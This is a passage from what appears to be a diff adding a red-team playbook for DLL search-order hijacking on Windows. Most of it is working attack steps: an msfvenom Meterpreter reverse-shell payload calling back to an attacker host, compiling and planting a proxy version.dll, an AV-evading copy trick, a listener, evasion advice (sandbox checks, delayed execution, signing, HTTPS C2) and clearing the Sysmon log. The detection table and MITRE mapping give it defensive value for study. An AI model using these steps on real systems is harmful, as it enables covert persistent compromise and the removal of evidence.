case DLL_PROCESS_DETACH:
|
|
237
|
+
break;
|
|
238
|
+
}
|
|
239
|
+
return TRUE;
|
|
240
|
+
}
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
**Generate Base64 payload (on attacker machine):**
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# Meterpreter reverse TCP payload
|
|
247
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp \
|
|
248
|
+
LHOST=<ATTACKER_IP> LPORT=4444 \
|
|
249
|
+
-f psh -o payload.ps1
|
|
250
|
+
|
|
251
|
+
# Base64-encode for embedding
|
|
252
|
+
cat payload.ps1 | iconv -t UTF-16LE | base64 -w 0
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
### Step 5 — Compile the Malicious DLL
|
|
258
|
+
|
|
259
|
+
**Using MinGW-w64:**
|
|
260
|
+
|
|
261
|
+
```bash
|
|
262
|
+
# x64 target
|
|
263
|
+
x86_64-w64-mingw32-gcc -shared -o version.dll version.c \
|
|
264
|
+
-Wl,--kill-at \
|
|
265
|
+
-s
|
|
266
|
+
|
|
267
|
+
# x86 target (if app is 32-bit)
|
|
268
|
+
i686-w64-mingw32-gcc -shared -o version.dll version.c \
|
|
269
|
+
-Wl,--kill-at \
|
|
270
|
+
-s
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
**Using MSVC (Developer Command Prompt):**
|
|
274
|
+
|
|
275
|
+
```cmd
|
|
276
|
+
cl /LD version.c /Fe:version.dll /link /DEF:version.def
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
**Verify the compiled DLL exports match expected:**
|
|
280
|
+
|
|
281
|
+
```powershell
|
|
282
|
+
dumpbin /exports version.dll
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
**Expected Output:**
|
|
286
|
+
```
|
|
287
|
+
ordinal name
|
|
288
|
+
1 GetFileVersionInfoA (forwarded to C:\Windows\System32\version.GetFileVersionInfoA)
|
|
289
|
+
2 GetFileVersionInfoByHandle (forwarded ...)
|
|
290
|
+
...
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
**Fallback:** If compilation fails with pragma export errors, use a `.def` file approach:
|
|
294
|
+
|
|
295
|
+
```
|
|
296
|
+
; version.def
|
|
297
|
+
LIBRARY version
|
|
298
|
+
EXPORTS
|
|
299
|
+
GetFileVersionInfoA = C:\Windows\System32\version.GetFileVersionInfoA @1
|
|
300
|
+
...
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
---
|
|
304
|
+
|
|
305
|
+
### Step 6 — Drop the Malicious DLL into the Application Directory
|
|
306
|
+
|
|
307
|
+
```powershell
|
|
308
|
+
# Confirm the target path
|
|
309
|
+
$targetDir = "C:\Program Files\TargetApp"
|
|
310
|
+
$targetDll = Join-Path $targetDir "version.dll"
|
|
311
|
+
|
|
312
|
+
# Copy — if write access allows direct copy
|
|
313
|
+
Copy-Item -Path ".\version.dll" -Destination $targetDll -Force
|
|
314
|
+
|
|
315
|
+
# Verify placement
|
|
316
|
+
Get-Item $targetDll | Select-Object Name, Length, LastWriteTime
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
**Expected Output:**
|
|
320
|
+
```
|
|
321
|
+
Name Length LastWriteTime
|
|
322
|
+
---- ------ -------------
|
|
323
|
+
version.dll 14336 2026-05-31 14:22:05
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
**Fallback:** If direct copy is blocked by AV on write, use an alternate data stream staging approach or rename a benign file, overwrite, then rename:
|
|
327
|
+
|
|
328
|
+
```powershell
|
|
329
|
+
# Stage via temp location if SmartScreen blocks direct write
|
|
330
|
+
$tmp = [System.IO.Path]::GetTempFileName()
|
|
331
|
+
Copy-Item ".\version.dll" $tmp
|
|
332
|
+
Move-Item $tmp $targetDll -Force
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
### Step 7 — Set Up Listener on Attacker Machine
|
|
338
|
+
|
|
339
|
+
```bash
|
|
340
|
+
# Metasploit multi/handler
|
|
341
|
+
msfconsole -q -x "
|
|
342
|
+
use exploit/multi/handler;
|
|
343
|
+
set payload windows/x64/meterpreter/reverse_tcp;
|
|
344
|
+
set LHOST <ATTACKER_IP>;
|
|
345
|
+
set LPORT 4444;
|
|
346
|
+
set ExitOnSession false;
|
|
347
|
+
exploit -j
|
|
348
|
+
"
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
---
|
|
352
|
+
|
|
353
|
+
### Step 8 — Trigger DLL Load
|
|
354
|
+
|
|
355
|
+
Restart the target application (or wait for scheduled restart / reboot):
|
|
356
|
+
|
|
357
|
+
```powershell
|
|
358
|
+
# Get the process name and restart it
|
|
359
|
+
$procName = "target_app"
|
|
360
|
+
$proc = Get-Process $procName -ErrorAction SilentlyContinue
|
|
361
|
+
if ($proc) { Stop-Process -Name $procName -Force }
|
|
362
|
+
|
|
363
|
+
Start-Process "C:\Program Files\TargetApp\target_app.exe"
|
|
364
|
+
```
|
|
365
|
+
|
|
366
|
+
**Expected Output on attacker listener:**
|
|
367
|
+
```
|
|
368
|
+
[*] Started reverse TCP handler on 0.0.0.0:4444
|
|
369
|
+
[*] Sending stage (201798 bytes) to <TARGET_IP>
|
|
370
|
+
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:<PORT>)
|
|
371
|
+
|
|
372
|
+
meterpreter > getuid
|
|
373
|
+
Server username: DOMAIN\victim_user
|
|
374
|
+
```
|
|
375
|
+
|
|
376
|
+
**Fallback:** If the app does not restart soon, the DLL will load on next system boot if the app is configured to run at startup. Confirm:
|
|
377
|
+
|
|
378
|
+
```powershell
|
|
379
|
+
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
|
|
380
|
+
Get-ScheduledTask | Where-Object { $_.TaskPath -match "TargetApp" }
|
|
381
|
+
```
|
|
382
|
+
|
|
383
|
+
---
|
|
384
|
+
|
|
385
|
+
## Real-World Reference
|
|
386
|
+
|
|
387
|
+
**Scenario:** A widely deployed enterprise tool installs to `C:\Program Files\CorpApp\` and attempts to load `version.dll` from its own directory before falling back to `System32`. The directory ACL grants `BUILTIN\Users` write access due to a misconfigured installer.
|
|
388
|
+
|
|
389
|
+
**Attack Flow:**
|
|
390
|
+
1. ProcMon reveals `corptool.exe` searches `C:\Program Files\CorpApp\version.dll` → NAME NOT FOUND → falls back to `C:\Windows\System32\version.dll`.
|
|
391
|
+
2. Attacker drops malicious `version.dll` into `C:\Program Files\CorpApp\`.
|
|
392
|
+
3. Each time `corptool.exe` starts — including at Windows login via a Run key — the malicious DLL loads first.
|
|
393
|
+
4. `DllMain` spawns a reverse shell in a hidden window; all legitimate `version.dll` functions are transparently forwarded, so the app continues to function normally.
|
|
394
|
+
5. No user-visible anomaly. Persistence survives reboots, user logouts, and application updates (unless the update replaces `version.dll` in the app directory).
|
|
395
|
+
|
|
396
|
+
**Notable real-world cases using this pattern:**
|
|
397
|
+
- Slack, Teams, and similar Electron apps have historically shipped with writable app directories susceptible to this technique
|
|
398
|
+
- CVE-2020-0668 and similar privilege escalation chains use DLL hijacking as the persistence layer after gaining initial foothold
|
|
399
|
+
- Many antivirus and security tool installers have been found vulnerable (ironic persistence vector)
|
|
400
|
+
|
|
401
|
+
---
|
|
402
|
+
|
|
403
|
+
## MITRE ATT&CK Mapping
|
|
404
|
+
|
|
405
|
+
| Step | Tactic | Technique | Sub-technique | Notes |
|
|
406
|
+
|------|--------|-----------|---------------|-------|
|
|
407
|
+
| 1 — ProcMon discovery | Discovery | T1083 — File and Directory Discovery | — | Enumerating application file load behavior |
|
|
408
|
+
| 2 — Confirm writable path | Discovery | T1057 — Process Discovery | — | Correlating process behavior with filesystem permissions |
|
|
409
|
+
| 3 — Enumerate DLL exports | Discovery | T1083 — File and Directory Discovery | — | Inspecting legitimate DLL to build proxy |
|
|
410
|
+
| 4 — Author malicious DLL | Defense Evasion | T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | Core technique |
|
|
411
|
+
| 5 — Compile DLL | Execution | T1059 — Command and Scripting Interpreter | — | Toolchain invocation on attacker system |
|
|
412
|
+
| 6 — Drop DLL | Persistence | T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | Placing artifact for future load |
|
|
413
|
+
| 7 — Listener setup | Command and Control | T1571 — Non-Standard Port | — | Reverse shell C2 setup |
|
|
414
|
+
| 8 — Trigger load | Execution | T1543 — Create or Modify System Process | T1543.003 (if service-backed) | Payload executes on app start |
|
|
415
|
+
| Persistence maintained | Persistence | T1543 — Create or Modify System Process | — | Survives reboots via app autostart |
|
|
416
|
+
|
|
417
|
+
---
|
|
418
|
+
|
|
419
|
+
## Detection & OPSEC
|
|
420
|
+
|
|
421
|
+
### How This Attack Is Detected
|
|
422
|
+
|
|
423
|
+
| Detection Method | Indicator |
|
|
424
|
+
|----------------|-----------|
|
|
425
|
+
| EDR DLL load monitoring | Unexpected DLL loaded from app directory instead of System32; DLL hash mismatch vs. known-good baseline |
|
|
426
|
+
| File integrity monitoring | New or modified DLL in application directory not associated with an installer event |
|
|
427
|
+
| Process creation auditing | Child process spawned from `DllMain` context (parent = app, child = cmd/powershell) |
|
|
428
|
+
| Network monitoring | Outbound connection from app process to unexpected IP immediately after startup |
|
|
429
|
+
| Windows Event Log | Sysmon Event ID 7 (Image Loaded) with `Signature` = unsigned or unknown publisher |
|
|
430
|
+
| AV/AMSI scanning | Shellcode patterns in the DLL's `.text` section |
|
|
431
|
+
|
|
432
|
+
### OPSEC Recommendations for Authorized Engagements
|
|
433
|
+
|
|
434
|
+
1. **Use a staged payload** — have `DllMain` only download and reflectively load a second-stage in memory; avoid writing shellcode directly to the DLL on disk.
|
|
435
|
+
2. **Match DLL metadata** — patch the PE headers (`FileDescription`, `CompanyName`, `ProductVersion`) to match the legitimate DLL using a resource editor (e.g., ResourceHacker).
|
|
436
|
+
3. **Sign the DLL** — use a self-signed or purchased code-signing certificate; unsigned DLLs trigger SmartScreen and EDR alerts.
|
|
437
|
+
4. **Delay execution** — sleep 10–30 seconds inside `DllMain` before executing payload to avoid behavior correlation with app launch.
|
|
438
|
+
5. **Check for sandbox** — detect sandbox environments (low uptime, single CPU, no user input) before activating payload.
|
|
439
|
+
6. **Use HTTPS C2** — prefer HTTPS or DNS-over-HTTPS beaconing over raw TCP reverse shells to blend with normal traffic.
|
|
440
|
+
7. **Target low-frequency apps** — choose apps that start infrequently to reduce the number of alert-generating events.
|
|
441
|
+
|
|
442
|
+
### Artifacts Left Behind
|
|
443
|
+
|
|
444
|
+
- `version.dll` (or target DLL name) in application directory
|
|
445
|
+
- Network connections from the application process to attacker C2
|
|
446
|
+
- Sysmon Event ID 7 logs referencing the dropped DLL
|
|
447
|
+
- Prefetch files recording the DLL load (`C:\Windows\Prefetch\`)
|
|
448
|
+
- Windows Error Reporting / crash dumps if the DLL caused instability
|
|
449
|
+
- Possible AV quarantine record if payload was detected
|
|
450
|
+
|
|
451
|
+
---
|
|
452
|
+
|
|
453
|
+
## Cleanup
|
|
454
|
+
|
|
455
|
+
Execute these steps after engagement completion to remove all artifacts:
|
|
456
|
+
|
|
457
|
+
```powershell
|
|
458
|
+
# 1. Kill any active shells/beacons spawned by the DLL
|
|
459
|
+
$payloadProc = Get-Process -Name "powershell","cmd" -ErrorAction SilentlyContinue |
|
|
460
|
+
Where-Object { $_.MainWindowTitle -eq "" }
|
|
461
|
+
$payloadProc | Stop-Process -Force
|
|
462
|
+
|
|
463
|
+
# 2. Remove the malicious DLL
|
|
464
|
+
$targetDll = "C:\Program Files\TargetApp\version.dll"
|
|
465
|
+
Remove-Item $targetDll -Force
|
|
466
|
+
Write-Host "Removed: $targetDll"
|
|
467
|
+
|
|
468
|
+
# 3. Verify removal
|
|
469
|
+
if (-not (Test-Path $targetDll)) {
|
|
470
|
+
Write-Host "Confirmed: DLL removed"
|
|
471
|
+
} else {
|
|
472
|
+
Write-Warning "DLL still present — check file locks"
|
|
473
|
+
}
|
|
474
|
+
|
|
475
|
+
# 4. Clear prefetch (requires admin)
|
|
476
|
+
Remove-Item "C:\Windows\Prefetch\TARGET_APP*.pf" -Force -ErrorAction SilentlyContinue
|
|
477
|
+
|
|
478
|
+
# 5. Review and clear relevant Sysmon/Security event logs (requires admin)
|
|
479
|
+
# Note: clearing logs is itself a detectable event — coordinate with blue team
|
|
480
|
+
wevtutil cl Microsoft-Windows-Sysmon/Operational
|
|
481
|
+
|
|
482
|
+
# 6. Restore the application to a known-good state
|
|
483
|
+
# Trigger application self-repair or reinstall to ensure no residual files
|
|
484
|
+
# Example: re-run installer in repair mode
|
|
485
|
+
# Start-Process "C:\Program Files\TargetApp\setup.exe" -ArgumentList "/repair" -Wait
|
|
486
|
+
```
|
|
487
|
+
|
|
488
|
+
**Verification checklist after cleanup:**
|
|
489
|
+
|
|
490
|
+
- [ ] Malicious DLL removed from app directory
|
|
491
|
+
- [ ] No active network connections from the app process to attacker IP
|
|
492
|
+
- [ ] Application functions normally after restart
|
|
493
|
+
- [ ] Event logs reviewed (coordinate with client — log clearing may violate rules of engagement)
|
|
494
|
+
- [ ] Prefetch entries cleared or documented
|
|
495
|
+
|
|
496
|
+
---
|
|
497
|
+
|
|
498
|
+
## References
|
|
499
|
+
|
|
500
|
+
### Tools
|
|
501
|
+
|
|
502
|
+
| Tool | URL |
|
|
503
|
+
|------|-----|
|
|
504
|
+
| Sysinternals Process Monitor | https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
|
|
505
|
+
| pe-bear (PE inspector) | https://github.com/hasherezade/pe-bear |
|
|
506
|
+
| CFF Explorer | https://ntcore.com/explorer-suite/ |
|
|
507
|
+
| MinGW-w64 | https://www.mingw-w64.org/ |
|
|
508
|
+
| Metasploit Framework | https://www.metasploit.com/ |
|
|
509
|
+
| ResourceHacker | http://www.angusj.com/resourcehacker/ |
|
|
510
|
+
| Sysmon | https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon |
|
|
511
|
+
|
|
512
|
+
### Research & Documentation
|
|
513
|
+
|
|
514
|
+
| Resource | URL |
|
|
515
|
+
|----------|-----|
|
|
516
|
+
| MITRE T1574.001 — DLL Search Order Hijacking | https://attack.mitre.org/techniques/T1574/001/ |
|
|
517
|
+
| MITRE T1543 — Create or Modify System Process | https://attack.mitre.org/techniques/T1543/ |
|
|
518
|
+
| Windows DLL Search Order (Microsoft Docs) | https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order |
|
|
519
|
+
| DLL Hijacking on HackTricks | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking |
|
|
520
|
+
| DLLSpy — automated DLL hijack discovery | https://github.com/cyberark/DLLSpy |
|
|
521
|
+
| Robber — DLL hijacking finder | https://github.com/MojtabaTajik/Robber |
|
|
522
|
+
| Safe DLL Search Mode (Microsoft) | https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setdlldirectory |
|